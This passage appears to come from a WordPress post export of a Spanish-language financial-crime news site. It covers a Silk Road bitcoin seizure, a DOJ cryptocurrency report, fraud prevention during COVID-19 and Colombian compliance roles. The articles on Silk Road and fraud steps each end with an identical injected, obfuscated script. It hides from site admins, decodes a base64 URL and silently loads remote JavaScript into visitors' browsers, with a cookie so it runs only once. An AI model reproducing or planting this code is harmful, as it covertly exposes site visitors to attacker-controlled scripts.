US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean 